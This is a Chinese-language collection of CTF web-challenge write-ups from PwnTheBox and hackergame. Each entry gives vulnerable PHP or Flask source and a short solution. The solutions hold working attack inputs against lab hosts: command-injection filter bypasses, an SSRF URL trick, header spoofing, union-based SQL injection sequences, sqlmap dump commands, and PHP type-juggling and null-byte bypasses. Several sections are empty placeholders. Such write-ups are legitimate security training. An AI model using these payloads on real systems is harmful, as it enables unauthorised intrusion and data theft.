文章结构生成
# //*[@id="app"]/div/section/main/div[1]/div/div[6]/div/div/div/p/@title
# xpath提取 ... 生成....
str = '''
exec1
hackergame2019-签到题
网页读取器
管理员本地访问
下载下载
快速计算
...
'''
for i in str.strip().split("\n"):
print("### "+i)
print("#### 题目")
print("```php"+"\n\n"+"```")
print()
print("#### 题解")
print("```"+"\n\n"+"```")
print()
第一页
exec1
题目
// Get input
$target = $_REQUEST[ 'ip' ];
// var_dump($target);
$target=trim($target);
// var_dump($target);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// var_dump($target);
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
?>
题解
hackergame2019-签到题 题目 题解很多东西都被ban了,%0a绕就行
网页读取器 题目右键查看源代码,删除button的disable属性,然后随便输入一个token即可得到flag
from flask import Flask, render_template, request, send_from_directory
import requests # well, requests is designed for humans, and I like it.
app = Flask(__name__)
whitelist_hostname = ["example.com",
"www.example.com"]
whitelist_scheme = ["http://"]
def check_hostname(url):
for i in whitelist_scheme:
if url.startswith(i):
url = url[len(i):] # strip scheme
url = url[url.find("@") + 1:] # strip userinfo
if not url.find("/") == -1:
url = url[:url.find("/")] # strip parts after authority
if not url.find(":") == -1:
url = url[:url.find(":")] # strip port
if url not in whitelist_hostname:
return (False, "hostname {} not in whitelist".format(url))
return (True, "ok")
return (False, "scheme not in whitelist, only {} allowed".format(whitelist_scheme))
@app.route("/")
def index():
return render_template("index.html")
@app.route("/request")
def req_route():
url = request.args.get('url')
status, msg = check_hostname(url)
if status is False:
# print(msg)
return msg
try:
r = requests.get(url, timeout=2)
if not r.status_code == 200:
return "We tried accessing your url, but it does not return HTTP 200. Instead, it returns {}.".format(r.status_code)
return r.text
except requests.Timeout:
return "We tried our best, but it just timeout."
except requests.RequestException:
return "While accessing your url, an exception occurred. There may be a problem with your url."
@app.route("/source")
def get_source():
return send_from_directory("/static/", "app.py", as_attachment=True)
if __name__ == '__main__':
app.run("0.0.0.0", 8080, debug=False)
题解
根据截取规则,已知我们要访问的flag位置为http://127.0.0.1/flag,利用URL中“#”的截断作用,构造payload如下:
http://127.0.0.1/flag#@example.com
管理员本地访问
题目
题解
X-Forwarded-For 是一个 HTTP 扩展头部,用来表示 HTTP 请求端真实 IP
X-Forwarded-For: 127.0.0.1
下载下载
题目
直接点击把flag.txt下载下来了,但是打开后提示flag不在这,然后我们查看页面源代码,发现是通过get传参的方式指定文件名进行下载的
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="Pwnthebox";
$flag="g9yk1pqdmqHa3qTJlqTFZbmShKmjaMHKzpJprg==";//encrypt($flag,$key)
?>
题解
我们直接 ?file=flag.php得到flag文件,打开后发现定义了两个函数 encrypt和 decrypt
很明显第一个是加密,第二个是解密,我们直接在最后一行加上如下代码运行后即可得到flag
echo decrypt($flag,$key);
快速计算
题目
题解
一般情况下手是看不过机的,所以这种题一般脚本
import requests
from lxml import etree
url = "https://1360-b5446787-41a6-48f1-a0e5-82beaeb63eaa.do-not-trust.hacking.run/"
s = requests.Session()
r = s.get(url)
data = r.content.decode()
html = etree.HTML(data)
str = html.xpath("//p/text()")[1]
payload = {'result': eval(str), 'submit': '提交'}
r = s.post(url, data=payload)
print(r.text)
该网站已经被黑
题目
题解
PwnTheBox 题目 题解 百度网盘分享链接 题目 题解 Get 题目先用dirsearch进行目录扫描,扫出/shell.php是登录界面
然后burp爆破密码为hack,登录得到flag
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解
https://1360-76609712-bedd-4cb3-87e1-2a6d037875f6.do-not-trust.hacking.run/?what=flag
Post
题目
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
题解
睿智题目
题目
题解
查看源码分析发现每次产生一个随机图片,可用bp爆破分析
过滤下PTB可找到
直接ctrl+u 看源码
很明显是url编码,我们把所有的字符串按顺序组合起来
p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62'
p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b'
#eval(unescape(p1) + unescape('%35%34%61%61%32' + p2))
print(p1+"%35%34%61%61%32"+p2)
经过url解码后得到
XSS 题目发现有maxlength元素,更改元素限制尝试输入结果
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '
' . $_GET[ 'name' ] . '
'; }
题解
https://1360-c9fc2d6d-8d4e-461d-8e19-cbd85a1205db.do-not-trust.hacking.run/?name=1
达拉崩吧大冒险
题目
题解
料理大市场出,买鸡的地方存在整数溢出。
当值小于 等于-1900000000000000000 时,就会发生整数溢出,战斗力变成一个很大的值,就可以愉快的打龙,得到flag。
atchap邮件服务漏洞
a@a.a@Samira.Bien@almosttchap.fr
php是世界上最好的语言
题目
show_source(__FILE__);
@include_once 'flag.php';
//前端攻城狮跑路了,不过PHP是最好的语言
$a = $_GET['a'];
$b = $_GET['b'];
$good = false;
if (sha1($a)===sha1($b)) { //可以使用数组绕过sha1检测
$good = true;
}
else die('bypass');
if ($good && isset($_GET['key'])){ //判断good变量的值和key的值是否存在
$message = json_decode($_GET['key']); //对传入的key值进行json 解码
if ($message->key==$key) { //判断key变量中key键的值是否和key变量的值一样
echo $flag;//因为php是弱类型语言,所以数字和字符串进行比较时,字符串会转成数字
} //如果字符串的第一位不是数字,则字符串被转成0,所以可用0绕过
else die('还差一点就拿到flag了');
}
?>
题解
https://1360-54d93af6-edd9-47b1-a581-e0eee4f83548.do-not-trust.hacking.run/?a[]=1&b[]=1&key={%22key%22:0}
exec2
题目
$ip = isset($_POST['ip'])?$_POST['ip']:die();
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){ //结尾字符没有限制
die("ip 格式错误!");
}
echo strlen($ip);
if(strlen($ip)<7||strlen($ip)>21){ // 长度限制
die("ip 长度错误!");
}
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' .$ip ); //执行命令
}else {
// *nix
$cmd = shell_exec( 'ping -c 1 ' .$ip );
}
// Feedback for the end user
echo "{$cmd}
";
## 要求,利用命令执行getshell
题解
可直接访问
https://1360-abf7e306-27d8-4bb8-b130-ca1f03d1cf88.do-not-trust.hacking.run/pwnthebox.txt
第二页 Twice SQL Injection 题目 题解* 通配符
二次注入
注册时输入注入语句,登录后即可发现结果
// 判断显示位置
'union select 12345 #
//判断数据库
'union select database() #
//根据数据库爆出表名
'union select table_name from information_schema.tables where table_schema='ctftraining'#
//爆出列名
'union select group_concat(column_name) from information_schema.columns where table_name='flag'#
//得到flag
'union select flag from flag#
猫咪银行
题目
题解
黑曜石浏览器 题目整型溢出:调整买入时间,时间数调至9123372036854775888,得到时间为负数,而收益为正数。
请使用最新版黑曜石浏览器(HEICORE)打开
题解
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) HEICORE/49.1.2623.213 Safari/537.36
信息安全 2077
题目
2077 年很快到来了。此时正值祖国 128 周年华诞,中国科学技术大学也因其王牌专业信息安全,走出国门,成为了世界一流大学。作为向信息安全专业输送人才的重要渠道,第 64 届信息安全大赛也正在如火如荼地开展着。
千里之行,始于足下。作为一名渴望进入信息安全专业的学生,你的第一个任务是拿到第 64 届信息安全大赛的签到题的 flag。我们已经为你找到了签到题的入口[1],你只需要把 flag.txt 的内容读出来就可以了。
注:为了照顾到使用黑曜石浏览器的用户,第 64 届信息安全大赛的签到题决定沿袭之前 63 届信息安全大赛的惯例,仍然基于 HTTP 1.x。当然了,使用其他浏览器也是可以顺利完成任务的。
<script src="/jquery.min.js"></script>
<script>
myclick = () => {
$.ajax({
type: "POST",
url: '/flag.txt',
success: (d, textStatus, xhr) => {
$("#flag").text(e)
},
error: e =>{
$("#flag").text(` ${e.status} - ${e.statusText}`)
}
});
}
</script>
题解
在返回头中会看到Last-Modified这个东西
要满足来自2077这个条件
故将请求头加入
If-Unmodified-Since: Mon, 22 Oct 2077 00:00:00 GMT
flag在这里
题目
题解
burpsuite 重发 ,base64
对方不想和你说话,并向你扔了一段代码 题目 题解php中extract()函数存在变量覆盖漏洞,所以讲url后面加上 /?a=&b=, a 和 a和 a和b变量内容为空字符串造成两个的值相等,或者直接就 /?a=
https://1360-89240aa5-af3d-416c-91d1-dee880d6c6bd.do-not-trust.hacking.run/?a=
猜密码
题目
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '猜测错误.
';
$_SESSION['pwd']=time().time();
}
}
题解
这个第一次打开环境时什么都不输入.直接点猜密码就是flag
或者cookie 置0 pwd 为空
header ( 'Content-Type: text/html; charset=utf-8' ); // 缃戦〉缂栫爜
error_reporting ( 0 );
$flag = "*******************";
//echo $_POST['num'];
if (isset ( $_POST ['num'] )) { //检测POST传入的参数必须是纯在
if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE) //传入的POST必须为包括数字(1-9)组成的数字
echo '璇村ソ鐨勬暟瀛楀憿锛�';
else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE) //检测num中的#testaasafd必须返回true
die ( 'Flag: ' . $flag );
else
echo '浣犵殑鏁板瓧涓嶅お绗﹀悎鎴戠殑蹇冩剰鍝︼紒';
}
?>
题解
ereg 题目%00 截断
$flag = "flag{flag}";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE) // 正则匹配只能是字母和数字
{
echo 'You password must be alphanumeric
';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) // 采用科学计数法1e8
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //strpos查找字符串首次出现的位置
{ // %00 截断
die('Flag: ' . $flag);
}
else
{
echo('*-* have not been found
');
}
}
else
{
echo 'Invalid password
';
}
}
?>
题解
https://1360-5a0af361-24fa-434a-be20-e4679f83f154.do-not-trust.hacking.run/?password=1e8%00*-*
成绩单
题目
题解
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch --dbs
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf --tables
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T fl4g --columns
sqlmap -u https://1360-98cd47d0-15ef-4b83-a44b-e237bbdf50e6.do-not-trust.hacking.run/index.php --form --technique U --level 3 --batch -D skctf -T fl4g -C skctf_flag --dump
1' and 1=1 #
-1' union select 1,2,3,4 #
-1' union select 1,2,3,database() #
-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() #
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g' and table_schema=database() #
-1' union select 1,2,3,skctf_flag from fl4g #
login 1
题目
题解
提示要用admin访问,注册覆盖admin账号即可
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ //传入的参数必须是纯在
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){ //是否匹配只有字符
die("args error!");
} //flag在变量中 ,输出全局变量
eval("var_dump($$args);"); //$GLOBALS 是全局变量
}
?>
题解
https://1360-939a7b7c-d68b-4194-8979-21f1f8396470.do-not-trust.hacking.run/?args=GLOBALS
Jsfuck
题目
题解
将div盒子里面的字符拼接起来,在控制台进行解密。
from lxml import etree
import requests
url = "https://1360-771b8dbf-30e8-47f6-9d5a-72865aca8b82.do-not-trust.hacking.run/"
r = requests.get(url)
data = r.content.decode()
html = etree.HTML(data)
print(*[i for i in html.xpath("/html/body/div/text()")])
得出一段加密的字符串,注释提示KEY是PTB
U2FsdGVkX1 是AES或DES 开头
U2FsdGVkX1899E6MQwC1kQYmnBL4RjhRIjwvuYJzszAmWhWcU8B9nHVMiM9YW7Ww
这里是AES解密,得出flag
矛盾 题目
题解
代码审计
题目
题解
管理员系统
题目
题解
ezdotso
题目
题解
赛博厨房 - 1
题目
题解
赛博厨房 - 2
题目
题解
Wall Breaker
题目
题解
佛系更新中…
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)